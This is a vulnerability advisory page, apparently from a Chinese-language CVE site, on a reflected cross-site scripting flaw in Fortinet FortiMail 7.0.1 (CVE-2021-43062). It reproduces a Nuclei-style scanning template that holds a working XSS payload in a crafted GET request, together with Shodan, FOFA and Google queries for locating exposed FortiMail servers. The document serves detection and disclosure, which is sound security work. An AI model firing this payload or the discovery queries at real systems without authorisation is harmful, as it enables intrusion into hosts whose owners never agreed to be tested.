CVE-2021-43062: Fortinet FortiMail 7.0.1 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: Fortinet FortiMail 7.0.1 | POC: 已公开

漏洞描述

A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.

PoC代码[已公开]

id: CVE-2021-43062

info:
  name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting
  author: ajaysenr
  severity: medium
  description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43062
    - https://www.fortiguard.com/psirt/FG-IR-21-185
    - https://www.exploit-db.com/exploits/50759
    - https://fortiguard.com/advisory/FG-IR-21-185
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-43062
    cwe-id: CWE-79
    epss-score: 0.47917
    epss-percentile: 0.97654
    cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortimail
    shodan-query: http.title:"fortimail"
    fofa-query:
      - title="fortimail"
      - fortimail && port=443
    google-query: intitle:"fortimail"
  tags: cve,cve2021,fortimail,xss,fortinet,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com<Svg%2Fonload%3Dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<Svg/onload=alert(document.domain)>"
          - "FortiMail Click Protection"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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